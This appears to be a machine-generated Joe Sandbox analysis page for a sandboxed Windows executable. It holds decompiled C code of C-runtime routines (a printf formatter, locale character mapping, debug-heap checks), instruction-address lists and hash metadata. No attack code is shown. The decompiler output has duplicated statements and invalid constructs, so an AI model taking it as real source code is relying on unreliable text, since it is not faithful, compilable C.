																				__ecx = __ebp - 0x40;
																				E0041AE60(__ebp - 0x40) =  *__eax;
																				__ecx =  *(__ebp - 0x448 + 0xac);
																				__edx = __ebp - 0x470;
																				__eax = __ebp - 0x448;
																				if(E0043B5A0(__ebp - 0x448, __ebp - 0x470,  *(__ebp - 0x448 + 0xac), __ebp - 0x448) < 0) {
																					 *(__ebp - 0x28) = 1;
																				}
																			}
																			__edx = __ebp - 0x448;
																			 *(__ebp - 4) = __ebp - 0x448;
																			 *(__ebp - 0x24) = 1;
																			goto L187;
																		case 7:
																			L141:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																			 *(__ebp - 8) = 0xa;
																			goto L150;
																		case 8:
																			L106:
																			__eax = __ebp + 0x14;
																			 *(__ebp - 0x484) = E00428370(__ebp + 0x14);
																			if(E00433F20() != 0) {
																				L116:
																				__ecx =  *(__ebp - 0x10);
																				__ecx =  *(__ebp - 0x10) & 0x00000020;
																				if(__ecx == 0) {
																					__ecx =  *(__ebp - 0x484);
																					__edx =  *(__ebp - 0x44c);
																					 *__ecx =  *(__ebp - 0x44c);
																				} else {
																					__edx =  *(__ebp - 0x484);
																					__ax =  *(__ebp - 0x44c);
																					 *( *(__ebp - 0x484)) = __ax;
																				}
																				 *(__ebp - 0x28) = 1;
																				goto L187;
																			}
																			L107:
																			__ecx = 0;
																			if(0 == 0) {
																				 *(__ebp - 0x4f4) = 0;
																			} else {
																				 *(__ebp - 0x4f4) = 1;
																			}
																			__edx =  *(__ebp - 0x4f4);
																			 *(__ebp - 0x488) =  *(__ebp - 0x4f4);
																			if( *(__ebp - 0x488) == 0) {
																				_push(L"(\"\'n\' format specifier disabled\", 0)");
																				_push(0);
																				_push(0x695);
																				_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																				_push(2);
																				__eax = L0041E390();
																				__esp = __esp + 0x14;
																				if(__eax == 1) {
																					asm("int3");
																				}
																			}
																			if( *(__ebp - 0x488) != 0) {
																				L115:
																				goto L187;
																			} else {
																				L114:
																				 *((intOrPtr*)(L00422E80(__ecx))) = 0x16;
																				__eax = E00422C10(__ebx, __ecx, __edi, __esi, L"(\"\'n\' format specifier disabled\", 0)", L"_woutput_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x695, 0);
																				 *(__ebp - 0x4cc) = 0xffffffff;
																				__ecx = __ebp - 0x40;
																				__eax = E0041AE30(__ecx);
																				__eax =  *(__ebp - 0x4cc);
																				goto L225;
																			}
																		case 9:
																			L148:
																			 *(__ebp - 8) = 8;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																			if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000200;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000200;
																			}
																			goto L150;
																		case 0xa:
																			L142:
																			 *(__ebp - 0x30) = 8;
																			goto L143;
																		case 0xb:
																			L84:
																			if( *(__ebp - 0x30) != 0xffffffff) {
																				__edx =  *(__ebp - 0x30);
																				 *(__ebp - 0x4f0) =  *(__ebp - 0x30);
																			} else {
																				 *(__ebp - 0x4f0) = 0x7fffffff;
																			}
																			__eax =  *(__ebp - 0x4f0);
																			 *(__ebp - 0x47c) =  *(__ebp - 0x4f0);
																			__ecx = __ebp + 0x14;
																			 *(__ebp - 4) = E00428370(__ebp + 0x14);
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																			if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																				L98:
																				if( *(__ebp - 4) == 0) {
																					__ecx =  *0x440f84; // 0x404438
																					 *(__ebp - 4) = __ecx;
																				}
																				 *(__ebp - 0xc) = 1;
																				__edx =  *(__ebp - 4);
																				 *(__ebp - 0x480) =  *(__ebp - 4);
																				while(1) {
																					L101:
																					__eax =  *(__ebp - 0x47c);
																					__ecx =  *(__ebp - 0x47c);
																					__ecx =  *(__ebp - 0x47c) - 1;
																					 *(__ebp - 0x47c) = __ecx;
																					if( *(__ebp - 0x47c) == 0) {
																						break;
																					}
																					L102:
																					__edx =  *(__ebp - 0x480);
																					__eax =  *( *(__ebp - 0x480)) & 0x0000ffff;
																					if(( *( *(__ebp - 0x480)) & 0x0000ffff) == 0) {
																						break;
																					}
																					L103:
																					 *(__ebp - 0x480) =  *(__ebp - 0x480) + 2;
																					 *(__ebp - 0x480) =  *(__ebp - 0x480) + 2;
																				}
																				L104:
																				 *(__ebp - 0x480) =  *(__ebp - 0x480) -  *(__ebp - 4);
																				__edx =  *(__ebp - 0x480) -  *(__ebp - 4) >> 1;
																				 *(__ebp - 0x24) =  *(__ebp - 0x480) -  *(__ebp - 4) >> 1;
																				goto L105;
																			} else {
																				L88:
																				if( *(__ebp - 4) == 0) {
																					__eax =  *0x440f80; // 0x404448
																					 *(__ebp - 4) = __eax;
																				}
																				__ecx =  *(__ebp - 4);
																				 *(__ebp - 0x478) = __ecx;
																				 *(__ebp - 0x24) = 0;
																				while(1) {
																					L92:
																					__eax =  *(__ebp - 0x24);
																					if( *(__ebp - 0x24) >=  *(__ebp - 0x47c)) {
																						break;
																					}
																					L93:
																					__ecx =  *(__ebp - 0x478);
																					__edx =  *__ecx;
																					if( *__ecx == 0) {
																						break;
																					}
																					L94:
																					__ecx = __ebp - 0x40;
																					E0041AE60(__ebp - 0x40) =  *(__ebp - 0x478);
																					__ecx =  *( *(__ebp - 0x478)) & 0x000000ff;
																					if(E00431230( *( *(__ebp - 0x478)) & 0x000000ff,  *(__ebp - 0x478)) != 0) {
																						 *(__ebp - 0x478) =  *(__ebp - 0x478) + 1;
																						 *(__ebp - 0x478) =  *(__ebp - 0x478) + 1;
																					}
																					 *(__ebp - 0x478) =  *(__ebp - 0x478) + 1;
																					 *(__ebp - 0x478) =  *(__ebp - 0x478) + 1;
																					 *(__ebp - 0x24) =  *(__ebp - 0x24) + 1;
																					 *(__ebp - 0x24) =  *(__ebp - 0x24) + 1;
																				}
																				L97:
																				L105:
																				goto L187;
																			}
																		case 0xc:
																			goto L0;
																		case 0xd:
																			L144:
																			 *((intOrPtr*)(__ebp - 0x460)) = 0x27;
																			L145:
																			 *(__ebp - 8) = 0x10;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																			if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																				__edx = 0x30;
																				 *((short*)(__ebp - 0x14)) = __dx;
																				 *((intOrPtr*)(__ebp - 0x460)) =  *((intOrPtr*)(__ebp - 0x460)) + 0x51;
																				 *(__ebp - 0x12) = __ax;
																				 *(__ebp - 0x1c) = 2;
																			}
																			goto L150;
																		case 0xe:
																			goto L187;
																	}
																}
															}
														}
													}
												}
											}
										}
									}
								}
							}
						}
					}
				}
			}

0x0043c3bd
0x0043c3bd
0x0043c3bd
0x0043c3bd
0x0043c3bd
0x0043c3bd
0x0043c3bd
0x0043c3bd
0x00000000
0x0043c432
0x00000000
0x0043c432
0x00000000
0x0043c432
0x0043c432
0x0043c43a
0x0043c45c
0x0043c462
0x0043c487
0x0043c4ce
0x0043c4d1
0x0043c4f2
0x0043c4f7
0x0043c4fc
0x0043c502
0x0043c4d3
0x0043c4d7
0x0043c4dc
0x0043c4df
0x0043c4e0
0x0043c4e6
0x0043c4e6
0x0043c489
0x0043c48c
0x0043c48f
0x0043c4b1
0x0043c4b6
0x0043c4bc
0x0043c4bd
0x0043c4c3
0x0043c491
0x0043c495
0x0043c49a
0x0043c49e
0x0043c49f
0x0043c4a5
0x0043c4a5
0x0043c4c9
0x0043c464
0x0043c468
0x0043c46d
0x0043c470
0x0043c476
0x0043c476
0x0043c43c
0x0043c440
0x0043c445
0x0043c448
0x0043c44e
0x0043c44e
0x0043c50e
0x0043c550
0x0043c556
0x0043c562
0x00000000
0x0043c510
0x0043c510
0x0043c510
0x0043c517
0x00000000
0x0043c524
0x0043c524
0x0043c532
0x0043c537
0x0043c53d
0x0043c54b
0x0043c568
0x0043c570
0x0043c592
0x0043c592
0x0043c59c
0x0043c5ad
0x0043c5b7
0x0043c5b9
0x0043c5b9
0x0043c59e
0x0043c59e
0x0043c59e
0x0043c5cc
0x0043c5ce
0x0043c5ce
0x0043c5db
0x0043c5de
0x0043c5de
0x0043c5e4
0x0043c5e7
0x0043c5ec
0x00000000
0x00000000
0x0043c5fc
0x0043c5ff
0x0043c609
0x0043c618
0x0043c621
0x0043c637
0x0043c63d
0x0043c64a
0x0043c658
0x0043c658
0x0043c667
0x0043c66f
0x0043c66f
0x0043c677
0x0043c680
0x0043c689
0x0043c695
0x0043c6ae
0x0043c6b4
0x0043c6bd
0x0043c6bd
0x00000000
0x0043c6c0
0x00000000
0x0043c6c0
0x00000000
0x0043c6c0
0x00000000
0x0043c6c0
0x00000000
0x0043c6c0
0x00000000
0x0043c6c0
0x00000000
0x0043c6c0
0x0043c6c0
0x0043c6c0
0x0043c6c4
0x0043c8a0
0x0043c8a4
0x0043c8ac
0x0043c8b1
0x0043c8b4
0x0043c8b4
0x0043c8bb
0x0043c8bb
0x0043ba3b
0x0043ba42
0x0043ba4f
0x0043ba54
0x00000000
0x0043ba67
0x0043ba71
0x0043ba98
0x0043ba7f
0x0043ba90
0x0043ba90
0x0043ba71
0x0043baa2
0x0043baa8
0x0043bab4
0x0043bab7
0x0043bac5
0x0043bac8
0x0043bad5
0x0043bb7a
0x0043bb80
0x0043bb8d
0x00000000
0x00000000
0x0043bb93
0x0043bb99
0x00000000
0x0043bba0
0x0043bba0
0x0043bbba
0x0043bbbf
0x00000000
0x00000000
0x0043bbc7
0x0043bbc7
0x0043bbce
0x0043bbd1
0x0043bbd4
0x0043bbd7
0x0043bbda
0x0043bbdd
0x0043bbe0
0x0043bbe7
0x0043bbee
0x00000000
0x00000000
0x0043bbfa
0x0043bbfa
0x0043bc01
0x0043bc0d
0x0043bc10
0x0043bc1d
0x00000000
0x00000000
0x0043bc1f
0x0043bc25
0x0043bc25
0x0043bc2c
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0043bc70
0x0043bc70
0x0043bc7a
0x0043bca7
0x0043bcb1
0x0043bcb1
0x0043bcb5
0x0043bc7c
0x0043bc7c
0x0043bc88
0x0043bc8f
0x0043bc94
0x0043bc97
0x0043bc9a
0x0043bc9d
0x0043bc9f
0x0043bc9f
0x0043bca2
0x00000000
0x00000000
0x0043bcbd
0x0043bcbd
0x00000000
0x00000000
0x0043bcc9
0x0043bcc9
0x0043bcd3
0x0043bcf3
0x0043bcf6
0x0043bd00
0x0043bd00
0x0043bd04
0x0043bcd5
0x0043bcd5
0x0043bce1
0x0043bce8
0x0043bcea
0x0043bcea
0x0043bcf1
0x00000000
0x00000000
0x0043bd0c
0x0043bd0c
0x0043bd13
0x0043bd1f
0x0043bd22
0x0043bd2f
0x0043be42
0x00000000
0x0043be42
0x0043bd35
0x0043bd3b
0x0043bd3b
0x0043bd42
0x00000000
0x0043bd79
0x0043bd79
0x0043bd7c
0x0043bd82
0x0043bda9
0x0043bda9
0x0043bdac
0x0043bdb2
0x0043bdd6
0x0043bdd6
0x0043bdd9
0x0043bddf
0x0043be18
0x0043be29
0x00000000
0x0043be29
0x0043bde1
0x0043bde1
0x0043bde4
0x0043bdea
0x00000000
0x00000000
0x0043bdec
0x0043bdec
0x0043bdef
0x0043bdf5
0x00000000
0x00000000
0x0043bdf7
0x0043bdf7
0x0043bdfa
0x0043be00
0x00000000
0x00000000
0x0043be02
0x0043be02
0x0043be05
0x0043be0b
0x00000000
0x00000000
0x0043be0d
0x0043be0d
0x0043be10
0x0043be16
0x0043be1a
0x00000000
0x0043be1a
0x00000000
0x0043be16
0x0043bdb4
0x0043bdb4
0x0043bdb7
0x0043bdbe
0x00000000
0x0043bdc0
0x0043bdc3
0x0043bdc6
0x0043bdcc
0x0043bdd1
0x00000000
0x0043bdd1
0x0043bdbe
0x0043bd84
0x0043bd84
0x0043bd87
0x0043bd8e
0x00000000
0x0043bd90
0x0043bd93
0x0043bd96
0x0043bd9c
0x0043bda1
0x00000000
0x0043bda1
0x00000000
0x0043be2b
0x0043be2b
0x0043be2e
0x0043be31
0x00000000
0x00000000
0x0043bd49
0x0043bd49
0x0043bd4c
0x0043bd52
0x0043bd6e
0x0043bd71
0x0043bd54
0x0043bd54
0x0043bd57
0x0043bd5a
0x0043bd60
0x0043bd66
0x0043bd66
0x00000000
0x00000000
0x0043be36
0x0043be39
0x0043be3f
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0043bc49
0x0043bc49
0x0043bc4c
0x0043bc4f
0x00000000
0x00000000
0x0043bc54
0x0043bc57
0x0043bc5d
0x00000000
0x00000000
0x0043bc3e
0x0043bc41
0x0043bc44
0x00000000
0x00000000
0x0043bc33
0x0043bc36
0x0043bc39
0x00000000
0x00000000
0x0043bc62
0x0043bc65
0x0043bc68
0x00000000
0x00000000
0x0043bc6b
0x00000000
0x00000000
0x0043badb
0x0043badb
0x0043badd
0x0043baeb
0x0043badf
0x0043badf
0x0043badf
0x0043bafb
0x0043bb08
0x0043bb0a
0x0043bb0f
0x0043bb11
0x0043bb16
0x0043bb1b
0x0043bb1d
0x0043bb22
0x0043bb28
0x0043bb2a
0x0043bb2a
0x0043bb28
0x0043bb2b
0x0043bb32
0x00000000
0x0043bb34
0x0043bb39
0x0043bb55
0x0043bb5d
0x0043bb6a
0x0043bb6f
0x0043c984
0x0043c991
0x0043c991
0x0043bb32
0x0043bad5
0x0043c8c0
0x0043c8c7
0x0043c8de
0x0043c8d2
0x0043c8d2
0x0043c8d2
0x0043c8e8
0x0043c8ee
0x0043c8fb
0x0043c8fd
0x0043c902
0x0043c904
0x0043c909
0x0043c90e
0x0043c910
0x0043c915
0x0043c91b
0x0043c91d
0x0043c91d
0x0043c91b
0x0043c925
0x0043c970
0x0043c979
0x0043c97e
0x0043c927
0x0043c92c
0x0043c948
0x0043c950
0x0043c95d
0x0043c962
0x0043c962
0x00000000
0x0043c925
0x0043c6ca
0x0043c6d0
0x0043c6da
0x0043c6f4
0x0043c70e
0x0043c715
0x0043c719
0x0043c719
0x0043c6f6
0x0043c6fb
0x0043c6ff
0x0043c6ff
0x0043c6dc
0x0043c6e1
0x0043c6e5
0x0043c6e5
0x0043c6da
0x0043c729
0x0043c735
0x0043c74b
0x0043c750
0x0043c750
0x0043c766
0x0043c76b
0x0043c774
0x0043c792
0x0043c797
0x0043c797
0x0043c79e
0x0043c858
0x0043c86b
0x0043c870
0x00000000
0x0043c7ae
0x0043c7ae
0x0043c7b1
0x0043c7ba
0x0043c7c0
0x0043c7c0
0x0043c7cf
0x0043c7d7
0x00000000
0x00000000
0x0043c7d9
0x0043c7dc
0x0043c801
0x0043c806
0x0043c809
0x0043c816
0x0043c824
0x0043c837
0x0043c83c
0x0043c84b
0x00000000
0x0043c84b
0x0043c818
0x0043c818
0x00000000
0x0043c818
0x0043c856
0x0043c873
0x0043c87a
0x0043c898
0x0043c89d
0x0043c89d
0x00000000
0x0043c87a
0x0043be47
0x0043be47
0x0043be4e
0x0043be54
0x0043be5a
0x0043be5d
0x0043be63
0x0043be70
0x0043be76
0x0043be76
0x0043be7d
0x00000000
0x0043c201
0x0043c201
0x0043c20f
0x0043c212
0x00000000
0x00000000
0x0043be84
0x0043be87
0x0043be8d
0x0043be92
0x0043be95
0x0043be95
0x00000000
0x00000000
0x0043bfca
0x0043bfcd
0x0043bfd2
0x0043bfd7
0x0043bfda
0x0043bfda
0x00000000
0x00000000
0x0043c3cd
0x0043c3cd
0x00000000
0x00000000
0x0043bf34
0x0043bf34
0x0043bf40
0x0043bf4d
0x0043bf5b
0x0043bf5b
0x0043bf61
0x0043bf64
0x0043bf70
0x0043bfc5
0x00000000
0x0043bfc5
0x0043bf4f
0x0043bf4f
0x0043bf59
0x0043bf75
0x0043bf78
0x0043bf7e
0x0043bfa6
0x0043bfad
0x0043bfb3
0x0043bfb6
0x0043bfb9
0x0043bfbf
0x0043bfc2
0x0043bf80
0x0043bf80
0x0043bf86
0x0043bf89
0x0043bf8c
0x0043bf92
0x0043bf95
0x0043bf98
0x0043bf9a
0x0043bf9d
0x0043bf9d
0x00000000
0x0043bf7e
0x00000000
0x00000000
0x0043c219
0x0043c21c
0x0043c21f
0x0043c222
0x0043c228
0x0043c22b
0x0043c236
0x0043c241
0x0043c245
0x0043c25c
0x0043c263
0x0043c265
0x0043c265
0x0043c26c
0x0043c273
0x0043c281
0x0043c284
0x0043c293
0x0043c29a
0x0043c2af
0x0043c29c
0x0043c29c
0x0043c29f
0x0043c2a5
0x0043c2aa
0x0043c2aa
0x0043c29a
0x0043c2b9
0x0043c2bc
0x0043c2bf
0x0043c2c2
0x0043c2c5
0x0043c2c8
0x0043c2ce
0x0043c2d4
0x0043c2dc
0x0043c2dd
0x0043c2e0
0x0043c2e1
0x0043c2e4
0x0043c2e5
0x0043c2ec
0x0043c2ed
0x0043c2f0
0x0043c2f1
0x0043c2f4
0x0043c2f5
0x0043c2fb
0x0043c2fc
0x0043c30b
0x0043c30d
0x0043c313
0x0043c318
0x0043c320
0x0043c328
0x0043c329
0x0043c32c
0x0043c32d
0x0043c33c
0x0043c33e
0x0043c33e
0x0043c341
0x0043c34b
0x0043c350
0x0043c356
0x0043c358
0x0043c360
0x0043c361
0x0043c364
0x0043c365
0x0043c373
0x0043c375
0x0043c375
0x0043c356
0x0043c378
0x0043c37b
0x0043c381
0x0043c386
0x0043c38b
0x0043c391
0x0043c394
0x0043c394
0x0043c397
0x0043c3a3
0x00000000
0x0043c3a3
0x0043c247
0x0043c247
0x0043c251
0x00000000
0x00000000
0x0043c253
0x0043c253
0x00000000
0x0043c253
0x0043c238
0x0043c238
0x00000000
0x00000000
0x0043be98
0x0043be98
0x0043bea3
0x0043beab
0x0043beb2
0x0043beb5
0x0043beb8
0x0043bf18
0x0043beba
0x0043bec1
0x0043bec7
0x0043becd
0x0043bed4
0x0043bed7
0x0043bedd
0x0043bee5
0x0043bee7
0x0043beee
0x0043bef5
0x0043bf06
0x0043bf08
0x0043bf08
0x0043bf0f
0x0043bf1f
0x0043bf25
0x0043bf28
0x00000000
0x00000000
0x0043c3ab
0x0043c3ae
0x0043c3b1
0x0043c3b4
0x00000000
0x00000000
0x0043c10a
0x0043c10a
0x0043c116
0x0043c123
0x0043c1cd
0x0043c1cd
0x0043c1d0
0x0043c1d3
0x0043c1e7
0x0043c1ed
0x0043c1f3
0x0043c1d5
0x0043c1d5
0x0043c1db
0x0043c1e2
0x0043c1e2
0x0043c1f5
0x00000000
0x0043c1f5
0x0043c129
0x0043c129
0x0043c12b
0x0043c139
0x0043c12d
0x0043c12d
0x0043c12d
0x0043c143
0x0043c149
0x0043c156
0x0043c158
0x0043c15d
0x0043c15f
0x0043c164
0x0043c169
0x0043c16b
0x0043c170
0x0043c176
0x0043c178
0x0043c178
0x0043c176
0x0043c180
0x0043c1c8
0x00000000
0x0043c182
0x0043c182
0x0043c187
0x0043c1a3
0x0043c1ab
0x0043c1b5
0x0043c1b8
0x0043c1bd
0x00000000
0x0043c1bd
0x00000000
0x0043c414
0x0043c414
0x0043c41e
0x0043c424
0x0043c429
0x0043c42f
0x0043c42f
0x00000000
0x00000000
0x0043c3c6
0x0043c3c6
0x00000000
0x00000000
0x0043bfdd
0x0043bfe1
0x0043bfef
0x0043bff2
0x0043bfe3
0x0043bfe3
0x0043bfe3
0x0043bff8
0x0043bffe
0x0043c004
0x0043c010
0x0043c016
0x0043c019
0x0043c0a1
0x0043c0a5
0x0043c0a7
0x0043c0ad
0x0043c0ad
0x0043c0b0
0x0043c0b7
0x0043c0ba
0x0043c0c0
0x0043c0c0
0x0043c0c0
0x0043c0c6
0x0043c0cc
0x0043c0cf
0x0043c0d7
0x00000000
0x00000000
0x0043c0d9
0x0043c0d9
0x0043c0df
0x0043c0e4
0x00000000
0x00000000
0x0043c0e6
0x0043c0ec
0x0043c0ef
0x0043c0ef
0x0043c0f7
0x0043c0fd
0x0043c100
0x0043c102
0x00000000
0x0043c01f
0x0043c01f
0x0043c023
0x0043c025
0x0043c02a
0x0043c02a
0x0043c02d
0x0043c030
0x0043c036
0x0043c048
0x0043c048
0x0043c048
0x0043c051
0x00000000
0x00000000
0x0043c053
0x0043c053
0x0043c059
0x0043c05e
0x00000000
0x00000000
0x0043c060
0x0043c060
0x0043c069
0x0043c06f
0x0043c07d
0x0043c085
0x0043c088
0x0043c088
0x0043c094
0x0043c097
0x0043c042
0x0043c045
0x0043c045
0x0043c09f
0x0043c105
0x00000000
0x0043c105
0x00000000
0x00000000
0x00000000
0x0043c3d9
0x0043c3d9
0x0043c3e3
0x0043c3e3
0x0043c3ed
0x0043c3f3
0x0043c3f5
0x0043c3fa
0x0043c404
0x0043c407
0x0043c40b
0x0043c40b
0x00000000
0x00000000
0x00000000
0x00000000
0x0043be7d
0x0043c6c0
0x0043c6c0
0x0043c6c0
0x0043c6c0
0x0043c6c0
0x0043c6c0
0x0043c6c0
0x0043c517
0x0043c50e
0x0043c432
0x0043c432
0x0043c432

APIs

_get_int64_arg.LIBCMTD ref: 0043C440
_get_int64_arg.LIBCMTD ref: 0043C468
__aullrem.LIBCMT ref: 0043C610
__aulldiv.LIBCMT ref: 0043C632

Strings

9, xrefs: 0043C643

Memory Dump Source

Source File: 00000000.00000002.664580287.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.664575684.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.664628218.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.664661556.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.664669500.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_sbxGIUIhRd.jbxd

Similarity

API ID: _get_int64_arg$__aulldiv__aullrem
String ID: 9
API String ID: 2124759748-2366072709
Opcode ID: 5ae99c7e6c91eb87a82d43dd8e251c21e6227c974607261ca5a358c9ee9441eb
Instruction ID: 065f28ec7ac641db28ccce722ea57eeb04c8d384d840db097260d0ad5329f6da
Opcode Fuzzy Hash: 5ae99c7e6c91eb87a82d43dd8e251c21e6227c974607261ca5a358c9ee9441eb
Instruction Fuzzy Hash: 914106B1E40129AFDB24CF48C981BAEB7B5BB89314F10559AD149B7201D738AE81CF59

Uniqueness

Uniqueness Score: -1.00%

Function 0042E2B6, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 62
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0042E2B6() {
				intOrPtr* _t42;
				intOrPtr* _t45;
				signed int _t51;
				void* _t55;
				void* _t56;
				void* _t58;
				void* _t81;
				void* _t82;
				void* _t83;
				void* _t85;

				_t59 = _t83 - 0x1c;
				if( *((intOrPtr*)( *((intOrPtr*)(E0041AE60(_t83 - 0x1c))) + 0xac)) <= 1) {
					L4:
					 *((intOrPtr*)(L00422E80(_t59))) = 0x2a;
					 *((char*)(_t83 - 8)) =  *(_t83 + 8);
					 *((char*)(_t83 - 7)) = 0;
					 *((intOrPtr*)(_t83 - 0xc)) = 1;
				} else {
					_t55 = E0041AE60(_t83 - 0x1c);
					_t59 =  *(_t83 + 8) >> 0x00000008 & 0x000000ff;
					_t56 = E00431230( *(_t83 + 8) >> 0x00000008 & 0x000000ff, _t55);
					_t85 = _t85 + 8;
					_t89 = _t56;
					if(_t56 == 0) {
						goto L4;
					} else {
						 *((char*)(_t83 - 8)) =  *(_t83 + 8) >> 0x00000008 & 0x000000ff;
						 *((char*)(_t83 - 7)) =  *(_t83 + 8);
						 *((char*)(_t83 - 6)) = 0;
						 *((intOrPtr*)(_t83 - 0xc)) = 2;
					}
				}
				_t42 = E0041AE60(_t83 - 0x1c);
				_t45 = E0041AE60(_t83 - 0x1c);
				 *((intOrPtr*)(_t83 - 0xc)) = E004312A0(_t58, _t81, _t82, _t89, E0041AE60(_t83 - 0x1c),  *((intOrPtr*)( *_t45 + 0x14)), 0x100, _t83 - 8,  *((intOrPtr*)(_t83 - 0xc)), _t83 - 4, 3,  *((intOrPtr*)( *_t42 + 4)), 1);
				if( *((intOrPtr*)(_t83 - 0xc)) != 0) {
					__eflags =  *((intOrPtr*)(_t83 - 0xc)) - 1;
					if( *((intOrPtr*)(_t83 - 0xc)) != 1) {
						 *(_t83 - 0x30) =  *(_t83 - 3) & 0x000000ff | ( *(_t83 - 4) & 0x000000ff) << 0x00000008;
						E0041AE30(_t83 - 0x1c);
						_t51 =  *(_t83 - 0x30);
					} else {
						 *(_t83 - 0x2c) =  *(_t83 - 4) & 0x000000ff;
						E0041AE30(_t83 - 0x1c);
						_t51 =  *(_t83 - 0x2c);
					}
				} else {
					 *(_t83 - 0x28) =  *(_t83 + 8);
					E0041AE30(_t83 - 0x1c);
					_t51 =  *(_t83 - 0x28);
				}
				return _t51;
			}

0x0042e2ce
0x0042e2df
0x0042e325
0x0042e32a
0x0042e333
0x0042e336
0x0042e33a
0x0042e2e1
0x0042e2e4
0x0042e2f0
0x0042e2f7
0x0042e2fc
0x0042e2ff
0x0042e301
0x00000000
0x0042e303
0x0042e30f
0x0042e315
0x0042e318
0x0042e31c
0x0042e31c
0x0042e301
0x0042e346
0x0042e367
0x0042e383
0x0042e38a
0x0042e39f
0x0042e3a3
0x0042e3c8
0x0042e3ce
0x0042e3d3
0x0042e3a5
0x0042e3a9
0x0042e3af
0x0042e3b4
0x0042e3b4
0x0042e38c
0x0042e38f
0x0042e395
0x0042e39a
0x0042e39a
0x0042e3e3

APIs

__isleadbyte_l.LIBCMTD ref: 0042E2F7

Part of subcall function 00431230: _LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 00431268

___crtLCMapStringA.LIBCMTD ref: 0042E37B
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 0042E395
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 0042E3AF

Strings

.B, xrefs: 0042E357, 0042E35A

Memory Dump Source

Source File: 00000000.00000002.664580287.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.664575684.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.664628218.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.664661556.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.664669500.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_sbxGIUIhRd.jbxd

Similarity

API ID: Locale$UpdateUpdate::~_$String___crt__isleadbyte_l
String ID: .B
API String ID: 3671512615-829718130
Opcode ID: 375c1630e05cb2e82e6733a2bd4174f80c2e82819c9fadb709afbf7c3a2e5a30
Instruction ID: 3a5919ef66658a30298557215a763521d66ca8942f3ee8ab8ce89269cb3aa44c
Opcode Fuzzy Hash: 375c1630e05cb2e82e6733a2bd4174f80c2e82819c9fadb709afbf7c3a2e5a30
Instruction Fuzzy Hash: E1219675E00208AFCB04DF96D851AFF7B75EF14315F54C09EE40667281DB38AA45CB65

Uniqueness

Uniqueness Score: -1.00%

Function 0041C963, Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 60COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0041CA6D
__free_base.LIBCMTD ref: 0041CA79

Strings

f:\dd\vctools\crt_bld\self_x86\crt\src\dbgheap.c, xrefs: 0041C987
pHead->nBlockUse == nBlockUse, xrefs: 0041C97B

Memory Dump Source

Source File: 00000000.00000002.664580287.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.664575684.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.664628218.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.664661556.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.664669500.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_sbxGIUIhRd.jbxd

Similarity

API ID: __free_base_memset
String ID: f:\dd\vctools\crt_bld\self_x86\crt\src\dbgheap.c$pHead->nBlockUse == nBlockUse
API String ID: 2669475236-3676899318
Opcode ID: 041373382d24b79ad1ee887c6a65608a0f72b8add565aa2ce7e63ff07aa29ec1
Instruction ID: 90c49826afe87cbf10c806c36af4b8c1ea4af6d53cf45438c659d689ea19e522
Opcode Fuzzy Hash: 041373382d24b79ad1ee887c6a65608a0f72b8add565aa2ce7e63ff07aa29ec1
Instruction Fuzzy Hash: 5A213E78A40108EFCB04CF54DA85BAA77B2BB89308F34C199D5051B395D779EE42DF89

Uniqueness

Uniqueness Score: -1.00%

Function 0041C9DE, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 40COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0041CA6D
__free_base.LIBCMTD ref: 0041CA79

Strings

f:\dd\vctools\crt_bld\self_x86\crt\src\dbgheap.c, xrefs: 0041C9EA
_pLastBlock == pHead, xrefs: 0041C9DE

Memory Dump Source

Source File: 00000000.00000002.664580287.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.664575684.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.664628218.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.664661556.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.664669500.0000000000550000.00000002.00020000.sdmp Download File

